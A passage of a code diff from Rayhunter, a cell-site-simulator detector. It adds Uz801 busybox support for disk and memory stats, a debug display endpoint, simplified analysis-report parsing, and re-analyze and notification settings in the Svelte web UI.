pub ui_update_sender: Sender<display::DisplayState>,
pub analysis_status_lock: Arc<RwLock<AnalysisStatus>>,
pub analysis_sender: Sender<AnalysisCtrlMessage>,
pub daemon_restart_tx: Arc<RwLock<Option<oneshot::Sender<()>>>>,
pub ui_update_sender: Option<Sender<DisplayState>>,
}
pub async fn get_qmdl(
@@ -243,6 +244,29 @@ pub async fn get_zip(
Ok((headers, body).into_response())
}
pub async fn debug_set_display_state(
State(state): State<Arc<ServerState>>,
Json(display_state): Json<DisplayState>,
) -> Result<(StatusCode, String), (StatusCode, String)> {
if let Some(ui_sender) = &state.ui_update_sender {
ui_sender.send(display_state).await.map_err(|_| {
(
StatusCode::INTERNAL_SERVER_ERROR,
"failed to send display state update".to_string(),
)
})?;
Ok((
StatusCode::OK,
"display state updated successfully".to_string(),
))
} else {
Err((
StatusCode::SERVICE_UNAVAILABLE,
"display system not available".to_string(),
))
}
}
#[cfg(test)]
mod tests {
use super::*;
@@ -293,7 +317,6 @@ mod tests {
store_lock: Arc<RwLock<crate::qmdl_store::RecordingStore>>,
) -> Arc<ServerState> {
let (tx, _rx) = tokio::sync::mpsc::channel(1);
let (ui_tx, _ui_rx) = tokio::sync::mpsc::channel(1);
let (analysis_tx, _analysis_rx) = tokio::sync::mpsc::channel(1);
let analysis_status = {
@@ -306,10 +329,10 @@ mod tests {
config: Config::default(),
qmdl_store_lock: store_lock,
diag_device_ctrl_sender: tx,
ui_update_sender: ui_tx,
analysis_status_lock: Arc::new(RwLock::new(analysis_status)),
analysis_sender: analysis_tx,
daemon_restart_tx: Arc::new(RwLock::new(None)),
ui_update_sender: None,
})
}
+28 -12
View File
@@ -7,7 +7,7 @@ use axum::Json;
use axum::extract::State;
use axum::http::StatusCode;
use log::error;
use rayhunter::util::RuntimeMetadata;
use rayhunter::{Device, util::RuntimeMetadata};
use serde::Serialize;
use tokio::process::Command;
@@ -19,10 +19,10 @@ pub struct SystemStats {
}
impl SystemStats {
pub async fn new(qmdl_path: &str) -> Result<Self, String> {
pub async fn new(qmdl_path: &str, device: &Device) -> Result<Self, String> {
Ok(Self {
disk_stats: DiskStats::new(qmdl_path).await?,
memory_stats: MemoryStats::new().await?,
disk_stats: DiskStats::new(qmdl_path, device).await?,
memory_stats: MemoryStats::new(device).await?,
runtime_metadata: RuntimeMetadata::new(),
})
}
@@ -40,13 +40,22 @@ pub struct DiskStats {
impl DiskStats {
// runs "df -h <qmdl_path>" to get storage statistics for the partition containing
// the QMDL file
pub async fn new(qmdl_path: &str) -> Result<Self, String> {
let mut df_cmd = Command::new("df");
// the QMDL file.
pub async fn new(qmdl_path: &str, device: &Device) -> Result<Self, String> {
// Uz801 needs to be told to use the busybox df specifically
let mut df_cmd: Command;
if matches!(device, Device::Uz801) {
df_cmd = Command::new("busybox");
df_cmd.arg("df");
} else {
df_cmd = Command::new("df");
}
df_cmd.arg("-h");
df_cmd.arg(qmdl_path);
let stdout = get_cmd_output(df_cmd).await?;
let mut parts = stdout.split_whitespace().skip(7).to_owned();
// Handle standard df -h format
let mut parts = stdout.split_whitespace().skip(7);
Ok(Self {
partition: parts.next().ok_or("error parsing df output")?.to_string(),
total_size: parts.next().ok_or("error parsing df output")?.to_string(),
@@ -83,9 +92,16 @@ async fn get_cmd_output(mut cmd: Command) -> Result<String, String> {
}
impl MemoryStats {
// runs "free -k" and parses the output to retrieve memory stats
pub async fn new() -> Result<Self, String> {
let mut free_cmd = Command::new("free");
// runs "free -k" and parses the output to retrieve memory stats for most devices,
pub async fn new(device: &Device) -> Result<Self, String> {
// Use busybox for Uz801
let mut free_cmd: Command;
if matches!(device, Device::Uz801) {
free_cmd = Command::new("busybox");
free_cmd.arg("free");
} else {
free_cmd = Command::new("free");
}
free_cmd.arg("-k");
let stdout = get_cmd_output(free_cmd).await?;
let mut numbers = stdout
@@ -111,7 +127,7 @@ pub async fn get_system_stats(
State(state): State<Arc<ServerState>>,
) -> Result<Json<SystemStats>, (StatusCode, String)> {
let qmdl_store = state.qmdl_store_lock.read().await;
match SystemStats::new(qmdl_store.path.to_str().unwrap()).await {
match SystemStats::new(qmdl_store.path.to_str().unwrap(), &state.config.device).await {
Ok(stats) => Ok(Json(stats)),
Err(err) => {
error!("error getting system stats: {err}");
+3 -77
View File
@@ -1,43 +1,7 @@
import { describe, it, expect } from 'vitest';
import { AnalysisRowType, EventType, parse_finished_report, Severity } from './analysis.svelte';
import { AnalysisRowType, parse_finished_report } from './analysis.svelte';
import { type NewlineDeliminatedJson } from './ndjson';
const SAMPLE_V1_REPORT_NDJSON: NewlineDeliminatedJson = [
{
analyzers: [
{
name: 'Analyzer 1',
description: 'A first analyzer',
},
{
name: 'Analyzer 2',
description: 'A second analyzer',
},
],
},
{
timestamp: '2024-10-08T13:25:43.011689003-07:00',
skipped_message_reasons: ['The reason why the message was skipped'],
analysis: [],
},
{
timestamp: '2024-10-08T13:25:43.480872496-07:00',
skipped_message_reasons: [],
analysis: [
{
timestamp: '2024-08-19T03:33:54.318Z',
events: [
null,
{
event_type: { type: 'QualitativeWarning', severity: 'Low' },
message: 'Something nasty happened',
},
],
},
],
},
];
const SAMPLE_V2_REPORT_NDJSON: NewlineDeliminatedJson = [
{
analyzers: [
@@ -62,7 +26,7 @@ const SAMPLE_V2_REPORT_NDJSON: NewlineDeliminatedJson = [
events: [
null,
{
event_type: { type: 'QualitativeWarning', severity: 'Low' },
event_type: 'Low',
message: 'Something nasty happened',
},
],
@@ -70,40 +34,6 @@ const SAMPLE_V2_REPORT_NDJSON: NewlineDeliminatedJson = [
];
describe('analysis report parsing', () => {
it('parses v1 example analysis', () => {
const report = parse_finished_report(SAMPLE_V1_REPORT_NDJSON);
expect(report.metadata.report_version).toEqual(1);
expect(report.metadata.analyzers).toEqual([
{
name: 'Analyzer 1',
description: 'A first analyzer',
version: 0,
},
{
name: 'Analyzer 2',
description: 'A second analyzer',
version: 0,
},
]);
expect(report.rows).toHaveLength(2);
expect(report.rows[0].type).toBe(AnalysisRowType.Skipped);
if (report.rows[1].type === AnalysisRowType.Analysis) {
const row = report.rows[1];
expect(row.events).toHaveLength(2);
expect(row.events[0]).toBeNull();
const event = row.events[1];
const expected_timestamp = new Date('2024-08-19T03:33:54.318Z');
expect(row.packet_timestamp.getTime()).toEqual(expected_timestamp.getTime());
if (event !== null && event.type === EventType.Warning) {
expect(event.severity).toEqual(Severity.Low);
} else {
throw 'wrong event type';
}
} else {
throw 'wrong row type';
}
});
it('parses v2 example analysis', () => {
const report = parse_finished_report(SAMPLE_V2_REPORT_NDJSON);
expect(report.metadata.report_version).toEqual(2);
@@ -128,11 +58,7 @@ describe('analysis report parsing', () => {
const event = row.events[1];
const expected_timestamp = new Date('2024-08-19T03:33:54.318Z');
expect(row.packet_timestamp.getTime()).toEqual(expected_timestamp.getTime());
if (event !== null && event.type === EventType.Warning) {
expect(event.severity).toEqual(Severity.Low);
} else {
throw 'wrong event type';
}
expect(event!.event_type).toEqual('Low');
} else {
throw 'wrong row type';
}
+12 -82
View File
@@ -21,17 +21,7 @@ export class ReportMetadata {
constructor(ndjson: any) {
this.analyzers = ndjson.analyzers;
this.rayhunter = ndjson.rayhunter;
if (ndjson.report_version === undefined) {
this.report_version = 1;
// we consider our legacy (unversioned) heuristics to be v0 --
// this'll let us clearly differentiate some known false-positive
// results from the pre-versioned era from v1 heuristics
this.analyzers.forEach((analyzer) => {
analyzer.version = 0;
});
} else {
this.report_version = ndjson.report_version;
}
this.report_version = ndjson.report_version || 2; // Default to v2
}
}
@@ -64,77 +54,22 @@ export type PacketAnalysis = {
events: Event[];
};
export type Event = QualitativeWarning | InformationalEvent | null;
export enum EventType {
Informational,
Warning,
}
export type EventType = 'Informational' | 'Low' | 'Medium' | 'High';
export type QualitativeWarning = {
type: EventType.Warning;
severity: Severity;
export type Event = {
event_type: EventType;
message: string;
};
export enum Severity {
Low,
Medium,
High,
}
export type InformationalEvent = {
type: EventType.Informational;
message: string;
};
} | null;
function get_event(event_json: any): Event {
if (event_json.event_type.type === 'Informational') {
return {
type: EventType.Informational,
message: event_json.message,
};
} else {
return {
type: EventType.Warning,
severity:
event_json.event_type.severity === 'High'
? Severity.High
: event_json.event_type.severity === 'Medium'
? Severity.Medium
: Severity.Low,
message: event_json.message,
};
if (!['Informational', 'Low', 'Medium', 'High'].includes(event_json.event_type)) {
throw `Invalid/unhandled event type: ${event_json.event_type}`;
}
return event_json;
}
function get_v1_rows(row_jsons: any[]): AnalysisRow[] {
const rows: AnalysisRow[] = [];
for (const row_json of row_jsons) {
for (const reason of row_json.skipped_message_reasons) {
rows.push({
type: AnalysisRowType.Skipped,
reason,
});
}
for (const analysis_json of row_json.analysis) {
const events: Event[] = analysis_json.events.map((event_json: any): Event | null => {
if (event_json === null) {
return null;
} else {
return get_event(event_json);
}
});
rows.push({
type: AnalysisRowType.Analysis,
packet_timestamp: new Date(analysis_json.timestamp),
events,
});
}
}
return rows;
}
function get_v2_rows(row_jsons: any[]): AnalysisRow[] {
function get_rows(row_jsons: any[]): AnalysisRow[] {
const rows: AnalysisRow[] = [];
for (const row_json of row_jsons) {
if (row_json.skipped_message_reason) {
@@ -170,7 +105,7 @@ function get_report_stats(rows: AnalysisRow[]): ReportStatistics {
} else {
for (const event of row.events) {
if (event !== null) {
if (event.type === EventType.Informational) {
if (event.event_type === 'Informational') {
num_informational_logs++;
} else {
num_warnings++;
@@ -188,12 +123,7 @@ function get_report_stats(rows: AnalysisRow[]): ReportStatistics {
export function parse_finished_report(report_json: NewlineDeliminatedJson): AnalysisReport {
const metadata = new ReportMetadata(report_json[0]);
let rows;
if (metadata.report_version === 1) {
rows = get_v1_rows(report_json.slice(1));
} else {
rows = get_v2_rows(report_json.slice(1));
}
const rows = get_rows(report_json.slice(1));
const statistics = get_report_stats(rows);
return {
statistics,
+3 -5
View File
@@ -23,11 +23,9 @@ export type AnalysisResult = {
};
export class AnalysisManager {
public status: Map<string, AnalysisStatus> = new Map();
public reports: Map<string, AnalysisReport | string> = new Map();
public async run_analysis(name: string) {
await req('POST', `/api/analysis/${name}`);
public status: Map<string, AnalysisStatus> = $state(new Map());
public reports: Map<string, AnalysisReport | string> = $state(new Map());
public set_queued_status(name: string) {
this.status.set(name, AnalysisStatus.Queued);
this.reports.delete(name);
}
@@ -35,15 +35,43 @@
return finished && report_available;
});
let button_class = $derived(ready ? 'text-blue-600 border rounded-full px-2' : '');
let button_class = $derived.by(() => {
if (!ready) {
return 'text-gray-700';
} else if ((entry.get_num_warnings() || 0) < 1) {
return 'text-green-700 border-green-500 bg-green-200 text-blue-600 border rounded-full px-2';
} else {
return 'text-red-700 border-red-500 bg-red-200 text-blue-600 border rounded-full px-2';
}
});
</script>
<button class="flex flex-row gap-1 lg:gap-2" disabled={!ready} {onclick}>
<span
class="{button_class} {(entry.get_num_warnings() || 0) < 1
? 'text-green-700 border-green-500 bg-green-200'
: 'text-red-700 border-red-500 bg-red-200'}">{summary}</span
>
<span class="flex flex-row items-center gap-1">
{#if entry.analysis_status === AnalysisStatus.Queued || entry.analysis_status === AnalysisStatus.Running || (entry.analysis_status === AnalysisStatus.Finished && entry.analysis_report === undefined)}
<svg
class="animate-spin h-4 w-4 text-blue-600"
xmlns="http://www.w3.org/2000/svg"
fill="none"
viewBox="0 0 24 24"
>
<circle
class="opacity-25"
cx="12"
cy="12"
r="10"
stroke="currentColor"
stroke-width="4"
></circle>
<path
class="opacity-75"
fill="currentColor"
d="M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"
></path>
</svg>
{/if}
<span class={button_class}>{summary}</span>
</span>
<svg
class="w-6 h-6 text-gray-800 transition-transform {analysis_visible ? 'rotate-180' : ''}"
aria-hidden="true"
@@ -1,5 +1,5 @@
<script lang="ts">
import { AnalysisRowType, EventType, type AnalysisReport } from '$lib/analysis.svelte';
import { AnalysisRowType, type AnalysisReport } from '$lib/analysis.svelte';
let {
report,
}: {
@@ -33,45 +33,44 @@
{#if report.statistics.num_warnings === 0 && report.statistics.num_informational_logs === 0}
<p>Nothing to show!</p>
{:else}
<table class="table-auto text-left">
<thead class="p-2">
<tr class="bg-gray-300">
<th class="p-2">Timestamp</th>
<th class="p-2">Heuristic</th>
<th class="p-2">Warning</th>
<th class="p-2">Severity</th>
</tr>
</thead>
<tbody>
{#each report.rows as row}
{#if row.type === AnalysisRowType.Analysis}
{@const parsed_date = new Date(row.packet_timestamp)}
{#each row.events.filter((e) => e !== null) as event, i}
{@const analyzer = analyzers[i]}
<tr class="even:bg-gray-200 odd:bg-white">
{#if event.type === EventType.Warning}
{@const severity = ['Low', 'Medium', 'High'][event.severity]}
{@const severity_class = [
'bg-red-200',
'bg-red-400',
'bg-red-600',
][event.severity]}
<td class="p-2">{date_formatter.format(parsed_date)}</td>
<td class="p-2">{analyzer.name} v{analyzer.version}</td>
<td class="p-2">{event.message}</td>
<td class="p-2 {severity_class} text-center">{severity}</td>
{:else if event.type === EventType.Informational}
<td class="p-2">{date_formatter.format(parsed_date)}</td>
<td class="p-2">{analyzer.name} v{analyzer.version}</td>
<td class="p-2">{event.message}</td>
<td class="p-2">Info</td>
<div class="overflow-x-scroll">
<table class="table-auto text-left">
<thead class="p-2">
<tr class="bg-gray-300">
<th class="p-2">Timestamp</th>
<th class="p-2">Heuristic</th>
<th class="p-2">Warning</th>
<th class="p-2">Severity</th>
</tr>
</thead>
<tbody>
{#each report.rows as row}
{#if row.type === AnalysisRowType.Analysis}
{@const parsed_date = new Date(row.packet_timestamp)}
{#each row.events as event, analyzerIndex}
{#if event !== null}
{@const analyzer = analyzers[analyzerIndex]}
{@const event_type_class = {
Informational: '',
Low: 'bg-yellow-200',
Medium: 'bg-orange-400',
High: 'bg-red-600',
}[event.event_type]}
<tr class="even:bg-gray-200 odd:bg-white">
<td class="p-2">{date_formatter.format(parsed_date)}</td>
<td class="p-2">{analyzer.name} v{analyzer.version}</td>
<td class="p-2">{event.message}</td>
<td class="p-2 {event_type_class} text-center"
>{event.event_type}</td
>
</tr>
{/if}
</tr>
{/each}
{/if}
{/each}
</tbody>
</table>
{/each}
{/if}
{/each}
</tbody>
</table>
</div>
{/if}
</div>
{#if report.statistics.num_skipped_packets > 0}
@@ -81,21 +80,23 @@
These are due to a limitation or bug in Rayhunter's parser, and aren't ususally a
problem.
</p>
<table class="table-auto text-left">
<thead class="p-2">
<tr class="bg-gray-300">
<th scope="col" class="p-2">Total Msgs Affected</th>
<th scope="col">Reason/Error</th>
</tr>
</thead>
<tbody>
{#each skipped_messages.entries() as [message, count]}
<tr class="even:bg-gray-200 odd:bg-white">
<td class="text-center">{count}</td>
<td>{message}</td>
<div class="overflow-x-scroll">
<table class="table-auto text-left">
<thead class="p-2">
<tr class="bg-gray-300">
<th scope="col" class="p-2">Total Msgs Affected</th>
<th scope="col">Reason/Error</th>
</tr>
{/each}
</tbody>
</table>
</thead>
<tbody>
{#each skipped_messages.entries() as [message, count]}
<tr class="even:bg-gray-200 odd:bg-white">
<td class="text-center">{count}</td>
<td>{message}</td>
</tr>
{/each}
</tbody>
</table>
</div>
</div>
{/if}
@@ -1,11 +1,17 @@
<script lang="ts">
import { type ReportMetadata } from '$lib/analysis.svelte';
import type { ManifestEntry } from '$lib/manifest.svelte';
import { AnalysisManager } from '$lib/analysisManager.svelte';
import AnalysisTable from './AnalysisTable.svelte';
import ReAnalyzeButton from './ReAnalyzeButton.svelte';
let {
entry,
manager,
current,
}: {
entry: ManifestEntry;
manager: AnalysisManager;
current: boolean;
} = $props();
</script>
@@ -17,6 +23,11 @@
{:else}
{@const metadata: ReportMetadata = entry.analysis_report.metadata}
<div class="flex flex-col gap-2">
{#if !current}
<div class="flex flex-row justify-end items-center">
<ReAnalyzeButton {entry} {manager} />
</div>
{/if}
{#if entry.analysis_report.rows.length > 0}
<AnalysisTable report={entry.analysis_report} />
{:else}
@@ -0,0 +1,91 @@
<script lang="ts">
import { req } from '$lib/utils.svelte';
let {
url,
method = 'POST',
label,
loadingLabel,
disabled = false,
variant = 'blue',
icon,
onclick,
ariaLabel,
}: {
url: string;
method?: string;
label: string;
loadingLabel?: string;
disabled?: boolean;
variant?: 'blue' | 'red' | 'green';
icon?: any; // Svelte snippet
onclick?: () => void | Promise<void>;
ariaLabel?: string;
} = $props();
let is_requesting = $state(false);
let is_disabled = $derived(disabled || is_requesting);
const variantClasses = {
blue: {
enabled: 'bg-blue-500 hover:bg-blue-700',
disabled: 'bg-blue-500 opacity-50 cursor-not-allowed',
},
red: {
enabled: 'bg-red-500 hover:bg-red-700',
disabled: 'bg-red-500 opacity-50 cursor-not-allowed',
},
green: {
enabled: 'bg-green-500 hover:bg-green-700',
disabled: 'bg-green-500 opacity-50 cursor-not-allowed',
},
};
async function handleClick() {
if (is_disabled) return;
is_requesting = true;
try {
await req(method, url);
if (onclick) {
await onclick();
}
} catch (err) {
console.error(`Failed to ${method} ${url}:`, err);
alert(`Request failed. Please try again.`);
} finally {
is_requesting = false;
}
}
let buttonClasses = $derived(
is_disabled ? variantClasses[variant].disabled : variantClasses[variant].enabled
);
</script>
<button
class="text-white font-bold py-2 px-2 sm:px-4 rounded-md flex flex-row items-center gap-1 {buttonClasses}"
onclick={handleClick}
disabled={is_disabled}
aria-label={ariaLabel || label}
>
<span>{is_requesting && loadingLabel ? loadingLabel : label}</span>
{#if is_requesting}
<svg
class="w-4 h-4 text-white animate-spin"
xmlns="http://www.w3.org/2000/svg"
fill="none"
viewBox="0 0 24 24"
>
<circle class="opacity-25" cx="12" cy="12" r="10" stroke="currentColor" stroke-width="4"
></circle>
<path
class="opacity-75"
fill="currentColor"
d="m4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"
></path>
</svg>
{:else if icon}
{@render icon()}
{/if}
</button>
@@ -111,6 +111,18 @@
</select>
</div>
<div>
<label for="ntfy_url" class="block text-sm font-medium text-gray-700 mb-1">
ntfy URL for Sending Notifications
</label>
<input
id="ntfy_url"
type="url"
bind:value={config.ntfy_url}
class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-rayhunter-blue"
/>
</div>
<div class="space-y-3">
<div class="flex items-center">
<input
@@ -203,10 +215,22 @@
bind:checked={config.analyzers.incomplete_sib}
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded"
/>
<label for="nas_null_cipher" class="ml-2 block text-sm text-gray-700">
<label for="incomplete_sib" class="ml-2 block text-sm text-gray-700">
Incomplete SIB Heuristic
</label>
</div>
<div class="flex items-center">
<input
id="test_analyzer"
type="checkbox"
bind:checked={config.analyzers.test_analyzer}
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded"
/>
<label for="test_analyzer" class="ml-2 block text-sm text-gray-700">
Test Heuristic (noisey!)
</label>
</div>
</div>
</div>
@@ -18,7 +18,7 @@
</script>
<button
class="bg-red-500 hover:bg-red-700 text-white font-bold py-2 px-4 rounded-md flex flex-row"
class="bg-red-500 hover:bg-red-700 text-white font-bold py-2 px-2 sm:px-4 rounded-md flex flex-row"
onclick={confirmDelete}
aria-label="delete"
>
@@ -8,20 +8,16 @@
text: string;
full_button?: boolean;
} = $props();
function download() {
window.location.href = url;
}
</script>
<button
<a
href={url}
class="flex flex-row {full_button
? 'bg-blue-500 hover:bg-blue-700 text-white font-bold py-2 px-4 rounded-md'
? 'bg-blue-500 hover:bg-blue-700 text-white font-bold py-2 px-2 sm:px-4 rounded-md'
: 'text-blue-600 underline'}"
onclick={download}
>
{text}
<svg class="fill-current w-4 h-4 m-1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20">
<path d="M13 8V2H7v6H2l8 8 8-8h-5zM0 18h20v2H0v-2z" />
</svg>
</button>
</a>
@@ -1,5 +1,6 @@
<script lang="ts">
import { ManifestEntry } from '$lib/manifest.svelte';
import { AnalysisManager } from '$lib/analysisManager.svelte';
import DownloadLink from '$lib/components/DownloadLink.svelte';
import DeleteButton from '$lib/components/DeleteButton.svelte';
import AnalysisStatus from './AnalysisStatus.svelte';
@@ -9,10 +10,12 @@
entry,
current,
server_is_recording,
manager,
}: {
entry: ManifestEntry;
current: boolean;
server_is_recording: boolean;
manager: AnalysisManager;
} = $props();
// passing `undefined` as the locale uses the browser default
@@ -41,7 +44,7 @@
</script>
<div
class="{status_row_color} {status_border_color} drop-shadow p-4 flex flex-col gap-2 border rounded-md flex-1"
class="{status_row_color} {status_border_color} drop-shadow p-4 flex flex-col gap-2 border rounded-md flex-1 overflow-x-scroll overflow-y-hidden"
>
{#if current}
<div class="flex flex-row justify-between gap-2">
@@ -78,7 +81,7 @@
'N/A'}</span
>
</div>
<div class="flex flex-row justify-between lg:justify-end gap-2 mt-2">
<div class="flex flex-row justify-between lg:justify-end gap-1 mt-2 overflow-x-scroll">
<DownloadLink url={entry.get_pcap_url()} text="pcap" full_button />
<DownloadLink url={entry.get_qmdl_url()} text="qmdl" full_button />
<DownloadLink url={entry.get_zip_url()} text="zip" full_button />
@@ -92,6 +95,6 @@
{/if}
</div>
<div class="border-b {analysis_visible ? '' : 'hidden'}">
<AnalysisView {entry} />
<AnalysisView {entry} {manager} {current} />
</div>
</div>
@@ -1,12 +1,14 @@
<script lang="ts">
import { ManifestEntry } from '$lib/manifest.svelte';
import { AnalysisManager } from '$lib/analysisManager.svelte';
import TableRow from './ManifestTableRow.svelte';
import Card from './ManifestCard.svelte';
interface Props {
entries: ManifestEntry[];
server_is_recording: boolean;
manager: AnalysisManager;
}
let { entries, server_is_recording }: Props = $props();
let { entries, server_is_recording, manager }: Props = $props();
</script>
<!--For larger screens we use a table-->
@@ -17,22 +19,20 @@
<th class="p-2" scope="col">Started</th>
<th class="p-2" scope="col">Last Message</th>
<th class="p-2" scope="col">Size</th>
<th class="p-2" scope="col">PCAP</th>
<th class="p-2" scope="col">QMDL</th>
<th class="p-2" scope="col">ZIP</th>
<th class="p-2" scope="col">Download</th>
<th class="p-2" scope="col">Analysis</th>
<th class="p-2" scope="col"></th>
</tr>
</thead>
<tbody>
{#each entries as entry, i}
<TableRow {entry} current={false} {i} />
<TableRow {entry} current={false} {i} {manager} />
{/each}
</tbody>
</table>
<!--For smaller screens we use cards-->
<div class="lg:hidden flex flex-col gap-4">
{#each entries as entry}
<Card {entry} current={false} {server_is_recording} />
<Card {entry} current={false} {server_is_recording} {manager} />
{/each}
</div>
@@ -1,5 +1,6 @@
<script lang="ts">
import { ManifestEntry } from '$lib/manifest.svelte';
import { AnalysisManager } from '$lib/analysisManager.svelte';
import DownloadLink from '$lib/components/DownloadLink.svelte';
import DeleteButton from '$lib/components/DeleteButton.svelte';
import AnalysisStatus from './AnalysisStatus.svelte';
@@ -8,10 +9,12 @@
entry,
current,
i,
manager,
}: {
entry: ManifestEntry;
current: boolean;
i: number;
manager: AnalysisManager;
} = $props();
// passing `undefined` as the locale uses the browser default
@@ -40,9 +43,13 @@
>{(entry.last_message_time && date_formatter.format(entry.last_message_time)) || 'N/A'}</td
>
<td class="p-2">{entry.get_readable_qmdl_size()}</td>
<td class="p-2"><DownloadLink url={entry.get_pcap_url()} text="pcap" /></td>
<td class="p-2"><DownloadLink url={entry.get_qmdl_url()} text="qmdl" /></td>
<td class="p-2"><DownloadLink url={entry.get_zip_url()} text="zip" /></td>
<td class="p-2">
<div class="flex flex-row gap-2">
<DownloadLink url={entry.get_pcap_url()} text="pcap" />
<DownloadLink url={entry.get_qmdl_url()} text="qmdl" />
<DownloadLink url={entry.get_zip_url()} text="zip" />
</div>
</td>
<td class="p-2"
><AnalysisStatus onclick={toggle_analysis_visibility} {entry} {analysis_visible} /></td
>
@@ -59,6 +66,6 @@
</tr>
<tr class="{alternating_row_color} border-b {analysis_visible ? '' : 'hidden'}">
<td class="border-t border-dashed p-2" colspan="9">
<AnalysisView {entry} />
<AnalysisView {entry} {manager} {current} />
</td>
</tr>
@@ -0,0 +1,47 @@
<script lang="ts">
import ApiRequestButton from './ApiRequestButton.svelte';
import { AnalysisStatus, AnalysisManager } from '$lib/analysisManager.svelte';
import type { ManifestEntry } from '$lib/manifest.svelte';
let {
entry,
manager,
}: {
entry: ManifestEntry;
manager: AnalysisManager;
} = $props();
let url = $derived(entry.get_reanalyze_url());
let entry_name = $derived(entry.name);
let analysis_status = $derived(entry.analysis_status);
let is_processing = $derived(
analysis_status === AnalysisStatus.Queued || analysis_status === AnalysisStatus.Running
);
async function handleReAnalyze() {
// Update the entry directly for immediate UI feedback
entry.analysis_status = AnalysisStatus.Queued;
entry.analysis_report = undefined;
manager.set_queued_status(entry_name);
}
</script>
<ApiRequestButton
{url}
label="Re-analyze"
loadingLabel="Analyzing..."
disabled={is_processing}
variant="blue"
onclick={handleReAnalyze}
ariaLabel="re-analyze"
>
{#snippet icon()}
<svg style="width:20px;height:20px" viewBox="0 0 24 24">
<path
fill="white"
d="M12,18A6,6 0 0,1 6,12C6,11 6.25,10.03 6.7,9.2L5.24,7.74C4.46,8.97 4,10.43 4,12A8,8 0 0,0 12,20V23L16,19L12,15M12,4V1L8,5L12,9V6A6,6 0 0,1 18,12C18,13 17.75,13.97 17.3,14.8L18.76,16.26C19.54,15.03 20,13.57 20,12A8,8 0 0,0 12,4Z"
/>
</svg>
{/snippet}
</ApiRequestButton>
@@ -1,100 +1,51 @@
<script lang="ts">
import { req } from '$lib/utils.svelte';
import ApiRequestButton from './ApiRequestButton.svelte';
let {
server_is_recording,
}: {
server_is_recording: boolean;
} = $props();
let client_set_recording = $state(server_is_recording);
let waiting_for_server = $derived(client_set_recording !== server_is_recording);
async function start_recording() {
await req('POST', '/api/start-recording');
client_set_recording = true;
}
async function stop_recording() {
await req('POST', '/api/stop-recording');
client_set_recording = false;
}
const recording_button_classes =
'text-white font-bold py-2 px-4 rounded-md flex flex-row gap-1';
const stop_recording_classes = `${recording_button_classes} bg-red-500 opacity-50 cursor-not-allowed`;
const start_recording_classes = `${recording_button_classes} bg-blue-500 opacity-50 cursor-not-allowed`;
</script>
<div>
{#if waiting_for_server}
<button
class={server_is_recording ? stop_recording_classes : start_recording_classes}
disabled
>
<span>{server_is_recording ? 'Stopping...' : 'Starting...'}</span>
<svg
class="w-4 h-4 text-white animate-spin"
xmlns="http://www.w3.org/2000/svg"
fill="none"
viewBox="0 0 24 24"
>
<circle
class="opacity-25"
cx="12"
cy="12"
r="10"
stroke="currentColor"
stroke-width="4"
></circle>
<path
class="opacity-75"
{#if server_is_recording}
<ApiRequestButton url="/api/stop-recording" label="Stop" variant="red">
{#snippet icon()}
<svg
class="w-6 h-6 text-white"
aria-hidden="true"
xmlns="http://www.w3.org/2000/svg"
width="24"
height="24"
fill="currentColor"
d="m4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"
></path>
</svg>
</button>
{:else if server_is_recording}
<button
class="{recording_button_classes} bg-red-500 hover:bg-red-700"
onclick={stop_recording}
>
<span>Stop</span>
<svg
class="w-6 h-6 text-white"
aria-hidden="true"
xmlns="http://www.w3.org/2000/svg"
width="24"
height="24"
fill="currentColor"
viewBox="0 0 24 24"
>
<path d="M7 5a2 2 0 0 0-2 2v10a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2V7a2 2 0 0 0-2-2H7Z" />
</svg>
</button>
viewBox="0 0 24 24"
>
<path
d="M7 5a2 2 0 0 0-2 2v10a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2V7a2 2 0 0 0-2-2H7Z"
/>
</svg>
{/snippet}
</ApiRequestButton>
{:else}
<button
class="{recording_button_classes} bg-blue-500 hover:bg-blue-700"
onclick={start_recording}
>
<span>Start</span>
<svg
class="w-6 h-6 text-white"
aria-hidden="true"
xmlns="http://www.w3.org/2000/svg"
width="24"
height="24"
fill="currentColor"
viewBox="0 0 24 24"
>
<path
fill-rule="evenodd"
d="M8.6 5.2A1 1 0 0 0 7 6v12a1 1 0 0 0 1.6.8l8-6a1 1 0 0 0 0-1.6l-8-6Z"
clip-rule="evenodd"
/>
</svg>
</button>
<ApiRequestButton url="/api/start-recording" label="Start" variant="blue">
{#snippet icon()}
<svg
class="w-6 h-6 text-white"
aria-hidden="true"
xmlns="http://www.w3.org/2000/svg"
width="24"
height="24"
fill="currentColor"
viewBox="0 0 24 24"
>
<path
fill-rule="evenodd"
d="M8.6 5.2A1 1 0 0 0 7 6v12a1 1 0 0 0 1.6.8l8-6a1 1 0 0 0 0-1.6l-8-6Z"
clip-rule="evenodd"
/>
</svg>
{/snippet}
</ApiRequestButton>
{/if}
</div>
<style>
</style>
+4
View File
@@ -102,4 +102,8 @@ export class ManifestEntry {
get_delete_url(): string {
return `/api/delete-recording/${this.name}`;
}
get_reanalyze_url(): string {
return `/api/analysis/${this.name}`;
}
}
+2
View File
@@ -8,12 +8,14 @@ export interface AnalyzerConfig {
null_cipher: boolean;
nas_null_cipher: boolean;
incomplete_sib: boolean;
test_analyzer: boolean;
}
export interface Config {
ui_level: number;
colorblind_mode: boolean;
key_input_mode: number;
ntfy_url: string;
analyzers: AnalyzerConfig;
}
+7 -2
View File
@@ -87,7 +87,12 @@
{#if loaded}
<div class="flex flex-col lg:flex-row gap-4">
{#if current_entry}
<Card entry={current_entry} current={true} server_is_recording={!!current_entry} />
<Card
entry={current_entry}
current={true}
server_is_recording={!!current_entry}
{manager}
/>
{:else}
<div
class="bg-red-100 border-red-100 drop-shadow p-4 flex flex-col gap-2 border rounded-md flex-1 justify-between"
@@ -124,7 +129,7 @@
